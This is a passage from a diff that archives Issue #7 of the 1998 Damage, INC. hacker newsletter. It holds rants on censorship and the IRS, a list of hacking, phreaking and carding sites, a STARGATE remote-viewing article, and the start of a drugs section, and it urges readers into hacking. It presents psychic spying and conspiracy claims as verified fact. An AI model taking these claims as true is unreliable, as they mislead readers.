ignoring the problem. Either + hoping it will disappear, or a simple, quick, and cheap fix will + become available in the near future. This is not good enough for + the government officials though, who are demanding that formal plans + be submitted to ensure that lives are not lost, and people left + stranded due to the date error. Most important are hospitals, + insurance companies, and other corporations who provide services + necessary for survival in our current society. It is undecided if + charges will be laid against companies who do not show proof of + efforts to correct the bug. + + 10. WHEN GREED TAKES OVER + Bell Canada once again shows its true colors in 1998. Their thirst + for money is horrendous. Threatened by the amazing quality of + internet long distance calls (Internet Phone, etc) and widespread + use, Bell Canada has executed to my knowledge one public plan, and + one 'not so public' plan to ensure profits, and kill competitors. + The former entails buying out ISPs, and gaining a market control, + after which raising prices for basic services. The latter was not + meant to be public knowledge, but the facts are evident. + Companies that had produced Internet phone hardware and software + technology were coerced into purposely reducing the quality of voice + transmissions over the net. The advertisement for such products + has been verified to include the following sentence, "Quality of + voice calls is not guaranteed, and may be subject to occasional + disconnections" I'm sure bribes, and perhaps sinister threats were + involved, but that's just my opinion. ;) + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +CREATIVE THOUGHTS BY THE JOURNALIST: + +Novelty and Habit are said to be two evolving forces within the +Universe. The formation of the new, in relation to the old. + +The patterns which manifest themselves so obviously in our lives +Escape our innermost thoughts. + +We are the needle in the haystack. Yet we believe ourselves +To be the haystack itself. + +And this is the miracle we call life. So intricate, so beautiful. +And yet so elusive. + +We attempt to repress natural processes that have existed since +The beginning of time. We call this "progress". + +What is progress?, but a fruitless journey away from ourselves. +Away from innate technology existing in our beings now. + +How pathetic we must look, burying our heads in the sand to avoid +Looking at reality. + +The fragile reality that we believe is a "fluke", a chance event +That created life. + +Hardly. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Intense Closing Comments: + +You have an opportunity to learn about h/p and progress. However, it's your +responsibility to become actively involved, dedicated to learning how to hack, +phreak etc., gain knowledge and experience. If you've made a conscious choice +to join the h/p scene, that's great. If you aren't really interested in h/p, +then quit wasting other people's time and return to the warez scene. If nobody +on h/p boards will answer your questions, don't criticize or blame them. More +than likely it is your own fault. Try to consider their position. Think about +how many newbies are constantly asking them stupid questions. Try to remember +how much information they've shared. If an experienced h/per gives you advice +that proves to be useful, be grateful and appreciative. Don't pretend to be +a "big hax0r" after they've given you a technique or whatever the case may be. +Basically, don't act like a wannabe... because you'll be despised, mocked, and +laughed at continually. In my opinion, you deserve that type of treatment if +you foolishly try to pretend to be a hacker or phreak and you're neither. ;) +Also, don't idolize someone, kiss ass, overly compliment them etc. That's very +annoying, won't get you any credit and respect. In fact, you'll probably be +labelled as being a lamer and won't be taken seriously ever again. Don't try +to form your own wannabe "h/p group" either if you're a newbie. + +The reason that I wrote this as the Closing Comments is because I want newbies +to realize that shit like that is unacceptable and not tolerated in the h/p +scene. It is very unfortunate that many newbies act like ignorant lamers in +519. Fortunately, it isn't that way in every area code. The 519 h/p scene +needs to be reformed and evolve before it dies completely. The solution isn't +extremely difficult. Show respect towards those that have been in the scene +for years and made a valuable contribution towards it. Don't make petty +insults and bash people's h/p abilities, skills, knowledge and experience that +you know nothing about. Don't make stupid assumptions based on age or +"rumours that you've heard". Try not to act like a total lamer. Also, if +you're a newbie you can't fool any experienced people in the h/p scene into +thinking that you're not... so don't even attempt to do that. It simply doesn't +work. ;) We really get a good laugh whenever a newbie tries to make up shit +and it's blatantly obvious. Sometimes we even discuss them in Email and chats, +laughing heartily at their stupidity, arrogance and ignorance. Haha. So, avoid +doing that if you're a newbie. It's the lamest thing you can do. + +We're always looking for Writers, Members and Distribution Sites. If you'd like +to apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our releases, they +are currently available on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. +Distraught Continuum - h/p/a/c/v/t, programming, etc. + +Any feedback or letters to the editor should be sent to BLACKENED in Email on +a Damage, INC. board near you. I can also be contacted via Echomail/Netmail +in several nets. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.007 b/textfiles.com/groups/DAMAGEINC/damage.007 new file mode 100644 index 00000000..9e6f912f --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.007 @@ -0,0 +1,1720 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + March 1998 Issue #7 + + "Phun for h/p d00ds." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +þ BIG BROTHER BASHING - Censorship: Big Brother's secret weapon. + ¯ Search String: {BIG BROTHER} + +þ BLACKENED'S TIP OF THE MONTH - List of h/p sites and how to find them. + ¯ Search String: {BLACKENED} + +þ CONSPIRACIES AND COVERUPS - Psychic Warrior. + ¯ Search String: {COVERUPS} + +þ CORRUPTION AND GREED - The IRS, death and taxes. + ¯ Search String: {GREED} + +þ DRUGS DISCUSSION - An introduction to the newest section. + ¯ Search String: {DRUGS} + +þ H/P INFORMATION AND NEWS - Tips on scanning 1-800s. + ¯ Search String: {H/P} + +þ INTERVIEWS AND INTERROGATIONS - Artistry's interrogation of Topsoil. + ¯ Search String: {INTERVIEWS} + +þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. + ¯ Search String: {LETTERS} + +þ OBJECTIVE OPINIONS - The existence of intelligent alien life in the Universe. + ¯ Search String: {OPINIONS} + +þ REPORTS FROM THE FRONT - List of LASS *## codes. + ¯ Search String: {REPORTS} + +þ SOURCE AND SCRIPTS - Damage, INC. Directory Trojan source code. + ¯ Search String: {SOURCE} + +þ THE JOURNALIST'S TOP TEN LIST - "Think of the possibilities..." + ¯ Search String: {TOP TEN} + +þ THOUGHTS, POEMS AND CREATIVE WRITING - "A Few Simple Questions" poem. + ¯ Search String: {WRITING} + +þ CLOSING COMMENTS - BLACKENED's Vicious Closing Comments. + ¯ Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +< DISCLAIMER > + +All articles contained in the Damage, INC. Newsletter are for informational +purposes only. Damage, INC. is not responsible for how any of the information +presented is used. It is not intended to be a manual with instructions to be +followed. We won't be held responsible for any damages caused, illegal acts +committed etc. by our readers. How you use the information given is entirely +up to you. + + +< COPYRIGHT NOTICE > + +All articles and source code contained within this file are (C) Copyright by +Damage, INC. (unless stated otherwise). No part of this work can be modified, +reproduced or changed in any way without the expressed written consent of +Damage, INC. That means, electronically or otherwise, in part or in whole +this file must not be altered. It cannot be included with any other releases. +You cannot claim that you wrote it, or alter any articles and source code that +has been written and Copyrighted by us. Also, do *not* distribute any +Damage, INC. releases in "packages" with other text files or utilities. They +must only be distributed alone in their present, original form. You are +permitted to read and distribute the Damage, INC. Newsletter freely to quality +h/p boards only. + +I foolishly thought that the Copyright message that follows each of our articles +would be enough to discourage and deter people from ripping off our material. +However, a user with the alias of Highlord has taken it upon himself to +blatantly ignore those Copyright messages. He flagrantly disregarded them and +infringed upon our rights by distributing them as a package under a name other +than Damage, INC. That's the very reason this warning was added. It just shows +his complete and utter lack of respect, intelligence and reflects badly on him. +Needless to say, he won't get away with ripping off our releases and disobeying +the Copyright. Obviously, behaviour and acts such as that won't be tolerated. + + Copyright 1998 by Damage, INC. +_______________________________________________________________________________ + + +INTRODUCTION: Welcome to another issue of the Damage, INC. Newsletter. The + quote for this issue "Phun for h/p d00ds" is obviously meant + as a joke. So, lighten up all of you big l33t hax0r d00ds. ;) + No offense is intended to those that consider themselves to be + l33t hax0rs, and feel insulted by my comment. Haha. + + Onward... Have you ever thought about mind over matter? As in, + telekinesis? What about, mind over time? Or perhaps, mind over + mind? Do you ever think about the potential power that our + minds might hold? Have you ever wondered about how far thoughts + can travel? Is it possible that our minds can go beyond the + limits of space and time? My main point is that possibilities + exist that should be explored. As a race, there are still many + questions that we don't know the answer to, or cannot explain. + However, that doesn't prevent us from continuing to learn more, + progress and find the answers. Meaning, don't dismiss something + and assume that it's impossible because you don't understand it + or can't explain it. Open your mind. Become aware of the things + that science avoids investigating. Seek out the truth. Try to + find your own answers. Rely on yourself, and not what you are + told to believe. Think about the unthinkable. Consider all of + the alternative, strange perspectives. Don't just conform and + take "society's" mainstream point of view for everything. + Develop your own individual beliefs and opinions. Destroy the + barriers of thinking that are hidden deep within your mind. + + At this stage, you may be wondering how this relates to this + issue of the Damage, INC. Newsletter. I'll attempt to clarify + and explain the reason I wrote the above paragraph as part of + the Introduction. I want our readers to expand their minds, + think about possibilities, consider alternatives, strengthen and + improve their level of knowledge. Why? Well, think logically. + If you manage to do that, you will be able to learn vast amounts + of new information, evolve as a person, and advance. The mere + capacity to learn doesn't necessarily mean that someone *will* + start learning. Therefore, it takes more than being interested + to learn about hacking and phreaking. You must think. In order + to think freely, you must clear your mind and remove its useless + limitations, misconceptions, lies and stereotypes. + + The expression "I think therefore I am" can be modified to read + "I think therefore I hack/phreak" without destroying the meaning. + Hopefully you understand why that saying is just as valid as + the first. In reality, it hasn't actually been changed. + + We are creatures that are capable of pondering our own existence. + Even though we are animals, we can create and use technology. + Personally, I don't believe that we are the only "intelligent + lifeforms" in the universe but at least on this planet our + intellect is unmatched. The human brain has been developing for + millennia. It's the greatest piece of technology of all. Don't + waste its power. I suggest that you use your mind and use + technology to your own advantage. My definition of h/p is + thinking. You can form your own opinions and try to define it + differently, but I challenge you to dispute "h/p is thinking" + and find a way to disprove that statement. Its simplicity is + what makes it complex and meaningful. Unfortunately, to many + h/p only means "hacking/phreaking". For me, it carries a much + greater meaning. + + +BIG BROTHER BASHING - {BIG BROTHER} +Censorship: Big Brother's secret weapon: + +How many works of art, songs, movies and books have been destroyed by +censorship? Obviously, there's no way to provide accurate statistics to +show how widespread censorship is. But censorship can be found everywhere. +I'm sure that you've personally encountered censorship, and experienced how +it totally degrades and ruins the censored item in question. The censorship +machine keeps on rolling. Its momentum is created by the weak minded zombies +that protest if they disagree with the content of something. If they find a +school book to be offensive, they get people to sign a petition, call the +school board etc. until it's banned reading material. That just robs students +from being able to read classic books that would benefit them intellectually. +It shelters and censors them from seeing the real world, as it really is. + +Have you ever wondered why there's so much censorship? The reason is that +many people *want* to be censored, thus forcing it on everyone else. That just +gives government agencies power. It also gives them an excuse. Big Brother +loves being able to say that a song or movie is "below community standards". +What does that actually mean? Well, it simply means that people (sometimes a +very small number) call or send letters to an agency, such as the CRTC in +Canada and say that they find something offensive. However, they have choices +available to them. If they are offended by a TV show or movie, they can change +the channel. If it's a song on the radio, they can listen to another station +etc. That isn't what they want to do though. They want to make sure that +*nobody* else can watch, read or listen to something unless it's censored. +So, they run to Big Brother for assistance. And of course, Big Brother is +there to "help" them by making sure it becomes censored or banned material. + +Why does Big Brother enjoy censoring and banning various material? It's their +secret weapon. It gives them control over us. Each time they are allowed to +censor something (with public support and excuses) they gain a little more +control over what we have access to. Using censorship as a weapon makes +Big Brother feel strong and powerful. Censorship in the hands of Big Brother +is a very subtle and effective weapon. It's one of their favourite mind control +techniques. As in, they limit what type of information is absorbed into our +minds and therefore maintain control. That's the very reason that mainstream +publications and movies are so shallow and lack aggressive, raw opinions etc. +They've been censored to prevent anything deemed "too offensive" from being +included. It's sickening. If you've ever watched movies shown on television +then you already know exactly what I'm talking about. Words are removed, entire +scenes are cut from the movie and it's altered so much that the actual movie is +almost completely unrecognizable. That's why censorship is so harmful. Why +should Big Brother be allowed to modify someone else's work at will? In my +opinion, they shouldn't. It isn't their creation and doesn't belong to them. + +In closing, nothing should be censored...but obviously countless things are. +There's no easy solution. There is no quick fix. There is no advice that +I can give you to fight this problem that is corroding away at our creative +works. The only advice that I can give you concerning censorship is to avoid +supporting any medium that supports it. That simply means, read uncensored, +underground publications whenever you can get access to them. Seek out +book stores that sell books that are banned elsewhere. Listen to music that +doesn't have words "beeped out" whenever possible. Look for information on +the internet regarding censorship, and learn how it can personally affect you. +You can also find underground magazines, text files etc. on internet sites. +Use it as an instrument and utilize its resources. You might be amazed at some +of the material available that Big Brother doesn't want you to have access to +or know about. Don't let them stop you from accessing *any* information. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +List of h/p sites and how to find them: + +Q: How can I find some h/p sites? + +A: Look at the list of sites below. Many of them have links to other sites. + Download lists of h/p sites. Write down the ones that are written in + h/p magazines that you read. Try using search engines (like Altavista etc.) + Do a search for hack, phreak, virus, security, unix, underground, exploits, + cryptology etc. That should give you a nice list of sites to check out. + Then try to find the specific sites that you want to visit by narrowing down + the search. (Examples: Phrack or cDc to find their sites). + +Internet www and ftp sites are unpredictable. Some of them are very unreliable +in that they're up one week and down the next. Therefore, some of the sites in +the following list might not exist anymore... even though we've done our best +to personally check as many as possible. Also, they aren't all h/p sites. +There are some sites like Sun, AT&T, Cryptology, Privacy, Anonymous Email etc. +as well that might be of interest to you. If you know of any good h/p boards +(dialups/telnet) from any area code, then make a list and send it to us. We +want to create a large h/p bbs list and include it in a future issue. + + +www.l0pht.com - L0pht Heavy Industries. +www.2600.com - 2600 The Hacker Quarterly +ftp.2600.com - 2600 Magazine's FTP site. +www.phrack.com - Phrack Magazine +ftp.paranoia.com - Paranoia FTP site. +www.paranoia.com - Paranoia web site. Many links etc. +www.paranoia.com/hpa - Paranoia sites h/p/a files section. +www.lod.com - LOD Communications +www.underground.org - Underground.org +www.dope.org - DOPE site. Drugs information etc. +www.codebreakers.org - Codebreakers. +www.spy.org - Spies everywhere. +www.technotronic.com - Technotronic h/p site. +www.rootshell.com - Rootshell (Unix exploits) +www.cultdeadcow.com - cDc's site. +www.sun.com - Sun Microsystems +www.ibm.com - IBM's site. +www.news.com - News/Information. +www.tis.com - Trusted Information Systems +www.antionline.com - AntiOnline h/p site. +www.7thsphere.com - 7th Sphere h/p site. +www.hyperreal.com - Hyperreal. Alternative Culture etc. +www.inside-aol.com - Inside AOL site. AOL exploits etc. +www.hotmail.com - Anonymous Email +www.tacd.com - TACD home page. +www.phreaks.org - Phreaks +www.linux.org - Linux Online +www.sysfail.org - System Failure. +www.uknet.net/pnc - Personal Number Company site. +www.nmrc.org - +www.r00t.org - r00t +www.bell.ca - Bell Canada's site. +www.att.com - AT&T's site +www.research.att.com - AT&T research site. +www.mcs.net/~candyman - Candyman's h/p site. +www.phantom.com - h/p site. +www.secnet.com - Security +www.hackers.com - Hackers h/p site. +www.wired.com - Wired Magazine +www.infowar.com - Information Warfare +www.silitoad.org - Silicon Toad h/p site. +www.vvv.com/~tommy - Tommy's Web Page. +www.dejanews.com - Anonymous Email +www.altavista.digital.com - Altavista Search Engine +www.kuai.se/ - +www.checkpoint.com - Checkpoint +www.ilf.net - h/p site. +www.digicrime.com - Digicrime, Inc. +www.fc.net/phrack.html - Phrack's old web page. +www.dis.org - Disinformation +www.phonelosers.org - Phone Losers of America +www.mybutt.com/links.html - 1-800 scans. +www.gis.net/~shadowp/ - Shadow Phreak's h/p site. +www.cs.berkeley.edu/~raph/remailer-list.html - Anonymous remailer list +ftp.ishiboo.com - Ishiboo +ftp.cert.org - CERT advisory's FTP site. +ftp.cisco.com - CISCO +ftp.bellcore.com - Bellcore's FTP site. +ftp.etext.org - Etext +ftp.primus.com/pub/security - Security +ftp.foobar.com - You're foobar. +ftp.netcom.com/pub - Several h/p/v directories. +ftp.cs.ruu.nl/pub/SECURITY - Security & PGP +ftp.cs.uwm.edu/pub/comp-privacy - Privacy Digest +ftp.cs.vu.nl - +ftp.cs.yale.edu - Yale +ftp.csi.forth.gr/pub/security - Security +ftp.sekurity.org - Security +ftp.csl.sri.com/pub/nides - SRI +ftp.csn.org/mpj - Cryptology +ftp.csua.berkeley.edu/pub/cypherpunks - Cypherpunks (encryption information). +ftp.demon.co.uk/pub/misc/0800num.txt - 0800/0500 numbers. +ftp.denet.dk/pub/security/tools/satan - Satan utility site. +ftp.digex.net/pub/access/dunk - Slam dunk. ;) +ftp.dsi.unimi.it/pub/security/crypt - Cryptology +ftp.dstc.edu.au/pub/security/satan - Satan utility site. +ftp.lava.net/users/oracle/ - Lava +ftp.funet.fi/pub/doc/cud - Computer Underground Digest +ftp.sunet.se/pub/network/monitoring - Ethernet Sniffers +ftp.fc.net/pub/phrack - Phrack's FTP site +ftp.fc.net/pub/defcon - Defcon information +ftp.fc.net/pub/defcon/bbeep - BlueBeep +ftp.gate.net/pub/users - Some dirs have h/p files. +ftp.greatcirle.com/pub/firewalls - Firewalls +http://www.lordsomer.com - Lord Somer's h/p site. +http://www.soci.niu.edu/~crypt - The Crypt Newsletter's site. +http://www.eff.org/pub/Net_culture/Hackers - Net Culture +http://www.etexguide.com/cardtricks - Carding information. +http://www.feist.com/~tqdb/evis-lnk.html - Evisance h/p links. +http://astalvista.box.sk - Astalavista baby h/p site. ;) +http://www.pancreas.com - Pancreas h/p site with magazines. +http://www.dhp.com/~fyodor/nmap/ - The Network Mapper +http://www.geocities.com - Geocities +http://sun.soci.niu.edu/~cudigest - Computer Underground Digest +http://www.disinfo.com/ - Disinformation +http://www.hackers.com/loa - Legion of the Apocalypse +http://www.defcon.org - Defcon Conference information +http://www.hip97.nl/ - HIP site. +http://www.replay.com/aba/eternity/ - Eternity service. +http://moloko.insync.net/eternity/ - Eternity service. +http://eternity.internexus.net/ - Eternity service. +http://eternity.infinetways.net/ - Eternity service. +http://www.cu-online.com/~jwthomp/ - Jeff Thompson's home page. +http://www.cc.oberlin.edu/~brchkind/cyphernomicon/ - Cyphernomicon's site. +http://www.replay.com/mail2news/ - Re-mailer +http://www.ncsa.com - National Computer Security Assocation +http://crunch.woz.org/crunch - Cap'n Crunch +http://www.webcrunchers.com - Capn' Crunch's Web hosting server +http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page +http://www.sec.de/sec/ - Seven Up's home page. +http://www.infonexus.com/~daemon9 - Daemon9's home page. +------------------------------------------------------------------------------- + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +PSYCHIC WARRIOR: + + Keeping with the theme of this month's newsletter, this article reveals +the US Government's coverup of a secretive group of people, whose daily +activities are mind boggling, and bone chilling. + Operating under the codename STARGATE, in the Defense-Intelligence +Division, members of this group practiced things that less than 1% of the +US Government, CIA, and FBI knew about. One thing that can be learned from +this somewhat chilling tale, is that most of the time, most of the army has +no idea what the rest of the army is up to. The dawning of the 60's produced +an era of defense officials never before seen in the army; intelligence had +taken over brute force methods of attack, and now new, more intricate plans +of attack were being concocted. This article describes one of those such +"new age" plans. + Sergeant David Morehouse was just your average joe. He had pursued a +career in the armed forces, as had his dad, and his. He had a lovely wife, +and two healthy children. For some reason though, David's path was "chosen" +for him. Whether you believe in fate or not is entirely up to you, but this +man's life changed so drastically that I myself cannot believe it was +accidental, or "coincidence." The year was 1979; Morehouse and his platoon +"The Rangers" were stationed in a remote East-European country, training +Palestinian soldiers about war techniques. Nothing was out of the ordinary, +until one day on a routine village raid, a stray bullet struck Morehouse +square on the forehead. Instantly he was transported into another realm. +What he describes as "angels" (simply an archetypal symbol IMO), visited him +and gave him the message "What you are doing is wrong. If you want peace, +seek peace, practice peace. You have seen death, now bring life." In one +instant his life as he knew it had changed. The bullet had luckily hit his +helmet, and not done any severe physical damage. The psychological damage +though, was shattering. For years after the incident he was plagued with +nightmares, "visitings", visions, voices, and other bizarre experiences such +as sleepwalking, spontaneous trances, and more. + David battled with the experience. The main focus of his life had become +how to deal with the newfound consciousness. It was as if the bullet hitting +his helmet had opened up some sort of blackhole in the fabric of space-time, +and consciousness. He hoped with time it would go away. It did not; but +instead got worse. Maybe a change was needed. He decided to switch divisions, +into the intelligence-agency despite warnings from Commanding Officers that +"what goes on in there is sick, and immoral." Before being allowed into the +Defense-Intelligence-Agency (DIA) Morehouse was required to undergo numerous +physical and mental tests. Using these, the army built a "psychological +profile" on the new recruit, standard procedure for the DIA. The army now +knew more about David Morehouse than he knew about himself. They would later +use this to their advantage. + Based upon his bizarre experience, our plagued hero was placed in a +covert operation now known as the STARGATE project. Knowledge of its +existence was limited to very few individuals. Morehouse was asked to lie to +his wife and family; no one was to know about what went on during the long +days he was at work. Members of this unit were trained to develop psychic +abilities to be used in the application of defense-intelligence. Another +thing that can be learned from this man's experience is that the psychic +phenomena is a very real, and powerful tool. Specifically, these people +induced altered-states-of-consciousness (ASC's), and used astral-projection +(out-of-body travel) to remote-view enemy sites, gather information, and +learn things that were not supposed to be known outside of very tight circles. +The techniques they had developed were sound, and could be reproduced by +individuals who had the propensity towards this "sixth sense." David +happened to be one of these people, that is why he was chosen and trained to +be a psychic spy for the US Army. + The experiences however, had very definite side effects that nobody could +explain. Morehouse was prone to going into trance at random, sometimes while +driving his car. Also he had vivid dreams of his family being brutally +murdered, and the face under the murderer's mask being his own. Frequently +he woke up screaming. It was starting to get out of control; he was +losing his family, and his sanity. He continued working however, hoping and +believing that what he was doing would lead to the answer to his problems, +for there were benefits to being able to travel out-of-body. He saw the +potential for mankind, given this knowledge. Unfortunately he did not realize +that the answer to his problems lay within him. The mental stress began to +take its toll. His behaviour now exhibited that of a mental patient. He +couldn't sleep, for fear of lucid nightmares that left him sweating with fear. +Around this time he also realized that hiding the knowledge of the army's +remote-viewing practices was wrong. The information could greatly benefit +society (or so he believed), and he began a plan to expose the whole unit. + His family was the first to learn about what went on in the unit. They +shared his belief that the knowledge should not be kept secret any longer. +Little did they know what awaited them on this path of government exposure, +for if they did, they perhaps might have rethought the whole thing. +Officials eventually got wind of his desire for publicizing the events that +took place during the 20 years that the STARGATE program was in operation. +Small threats inevitably lead to death threats, and it was when somebody +tried to kill him and his family that David Morehouse clearly saw the US Army +for what it was, and what it had become. They used their knowledge about him +in attempts to stop his actions, and their ruthlessness was unforgivable. + It was bigger than them though. Morehouse had selected himself as the +one to make public the knowledge of the army's remote-viewing experiments. +Because of his one-track mindedness, Morehouse succeeded in his desire to +expose the activities that went on during those fateful months he was in the +unit. The army denied 95% of his claims, also denying the validity of +"remote-viewing" for defense purposes. Their tactics went straight from +hiding the truth, to manipulating it. Not once did it occur to them to simply +admit their actions, and take responsibility. Most would sooner have died, +than admit to a conspiracy/coverup. + The events described here within are all true, and can be verified by +newsmedia, books, and some government documents. The tale is a fascinating +one, combining elements of science fiction, suspense, and conspiracy. David +Morehouse was a person who dared to be more than what society expected. He +rose above the law, conquered space-time, and lived to tell the story of both. +He no longer works with the army in any way, and spoke at the 1996 world +conference on issues of peace, and nonviolent ways to solve disputes. + It is at the discretion of the reader as to what he/she learns from this +article; but remember, your thoughts create your reality, and only *you* +can be held responsible for your thoughts. + +Written by The Journalist ú Damage, INC. (C)opyright 1998. + + +CORRUPTION AND GREED - {GREED} +The IRS, death and taxes: + +Of all of the bureaucracies in the Unites States, one of the most corrupt and +cold-hearted is the Internal Revenue Service (IRS). The IRS has tremendous +powers in which they use to rape and pillage Americans. Without a hearing, or +any other form of due process, the IRS can seize property, pay checks, homes and +shut down businesses. It is because the IRS is the absolute judge, jury, and +executioner during a tax audit, it is no wonder that they are capable of +financially, or even physically destroying the lives of many Americans. + +IRS managers keep track of citizens that they consider to be `tax protesters' +and `political dissidents' that disagree with the government of the day. It is +no coincidence in my mind that people like Paula Jones have been audited by the +IRS. They'll make someone's life hell on a request from a corrupt politician, +or will independently act on their behalf. In addition, the culture within the +IRS encourages the exploitation of taxpayers that don't have the resources to +fight back. Former IRS employees have revealed that IRS managers compile a list +of individuals and small businesses that are what they consider to be `easy +prey.' + +It is said that absolute power corrupts absolutely, and that is precisely +what has happened within the IRS. IRS managers foster a culture of greed +and powertripping. Despite what the IRS says, it is a fact that IRS agents are +rewarded by bonuses or promotion in direct relation to the amount of tax, +interest, and penalty money they can seize. At the heart of their schemes +is the fact that they can claim any amount of back taxes, with penalties and +interest, and it can't be contested. If their actions destroy a person or +family's quality of life, it's a bonus to those sick bastards. One example of +hundreds of abuse by IRS agents that I have read, an agent told a man he was +auditing that he was "worth more dead" so that the IRS could seize his life +insurance policy. When the man reported this, the agent denied it and his +manager accused the man of lying. In my opinion, he will be harassed by the +IRS for the rest of his life. + +The tactics IRS agents use during an audit are cruel and appalling. When +they have selected their target, they attack with no mercy. And if an +American actually cooperates fully with the IRS, they are digging their own +financial grave. In one case, a married couple that ran a small business +paid a penalty of $6000 because the agent told them "well, it appears that you +paid these returns correctly, but understand, we are paid to bring in money. If +you don't pay us something now, I'll just come back with another list of +requests." Approximately six years later, the IRS required that they had to +prove that they paid taxes the previous seven years. At that time a heavy lien +was put against their home as an added "bonus" for their earlier assistance. + +Another corrupt tactic that the bastards in the IRS use to inflict mental +stress upon their victims is known as the "whipshaw technique." This technique +is used to coerce a taxpayer to `pay up' by punishing innocent relatives through +liens, levies, seizures, etc. Yet another example of the corrupt use of their +unbridled power. The IRS intentionally developed this tactic to humiliate and +isolate their victims from their family and friends. + +Another convenient way for the IRS to destroy the lives of their victims is to +lie and claim that they didn't received forms, or payments on outstanding taxes. +This goes far beyond recovering taxes from those that owe the Treasury +department... it is a blatant and unprovoked attack against Americans that +can't afford to fight them in court. And that is when the IRS really twists the +knife. Their follow-up tactic is to charge late payment penalties and interest +*and* to pocket the payments they have already received. Then it's up to the +taxpayer to prove that the IRS received their forms, payments, etc. The reason +they do this is simple; greed. In one reported case, two years after the fact +the IRS told a taxpayer that they didn't have a man's 1992 tax return. They +demanded back taxes *plus* a penalty of $6000. How could the man prove that the +IRS didn't have the tax return when it is a fact that they do? It is +contemptible that the IRS is able to lie, or claim that they "lost files" and +put it all on the back of the taxpayer. + +Unfortunately, not every American is strong enough to handle the oppressive +shadow that the IRS casts upon their lives. The corrupt and evil ways in +which IRS agents act have driven people to suicide. However, not even suicide +and the destruction of families will stop the IRS from their relentless greed, +and their need to exert their powers. I read a report from a widow suffering +from severe mental stress. She reported how the IRS took advantage of her +husband's suicide (his escape from the hell they were putting him through) by +placing liens on both of her husband's life insurance policies that were +intended to provide for her and her daughter. And the IRS is not done yet. +IRS agents are stalking her by telephone and unannounced house visits, +revelling in their power that they use without any accountability. + +I hope that this article has given you a small glimpse into how corrupt +government bureaucracies truly are. Instead of serving the citizens of their +country, they prey upon them... destroying their hopes, dreams, and lives. +Breaking up families, and driving people to suicide is the result of their +corrupt use of the absolute power they wield without fear of recourse. It is my +opinion that this kind of abuse is only the beginning as our civil rights and +liberties are eliminated and ignored. Remember that knowledge is power. If a +bureaucracy as greedy and corrupt as the IRS comes after you, fight back. Don't +give up destroyed and say "what can I do about it?" That is when they have won. + +--- +While using the Internet to obtain background information for this article, I +came across a web site in which victims of the IRS were gathering testimony in +preparation for a class-action lawsuit. The IRS Abuse Reports relate their +horrible experiences much better than I can. You may wish to see first-hand +accounts of how the IRS has destroyed the lives of hundreds of hard-working +Americans. The website address of the IRS Abuse Reports is: +www.zonpower.com/irs-class-action. + +Written by Shatazar ú Damage, INC. (C)opyright 1998. + + +DRUGS DISCUSSION - {DRUGS} +An introduction to the newest section: + + This commences a new section that will continue throughout several +Newsletters. Drugs are mind-altering substances; for this reason, I feel it +important to discuss the current drug situation in our society. There are +too many aspects of this topic to limit it to one article; as such, this is +merely an introduction to which perspectives I will be covering, and my views +on them. + + -Legality issues must be addressed - should drugs be legal/decriminalized? + -Personal experiences will be shared and discussed. + -Drugs in different cultures, eras. + -Types of drugs, classes of drugs, and effects of drugs will be covered. + -True facts and events will be looked at, and commented upon. + -The drug war in North America/the globe is an issue. + -Focus on Hemp/Cannabis and its advantages/disadvantages + -Drugs and life, drugs and consciousness, philosophical aspects discussed. + -Hallucinogens, cosmic-consciousness, religion discussed. + + Some discussion will be serious, while others more humorous, and others +still, a mixture of both. I hope you look forward to reading this section +as much as I look forward to writing it. Those who know me know that life +is a very interesting subject to me. To blindly think that all drugs are bad +is such a detrimental belief it astounds me. Drugs fascinate me; and I don't +necessarily mean experimenting with them. Theoretical discussion of the +effects of DMT for example can be quite fascinating, without having to do the +drug oneself. That is not to say I haven't done a lot of drugs. Of the most +popular drugs available, it would be faster for me to tell you that I have not +done Crack, Cocaine, or Heroine. I have tried most others however, thus do +not consider myself a 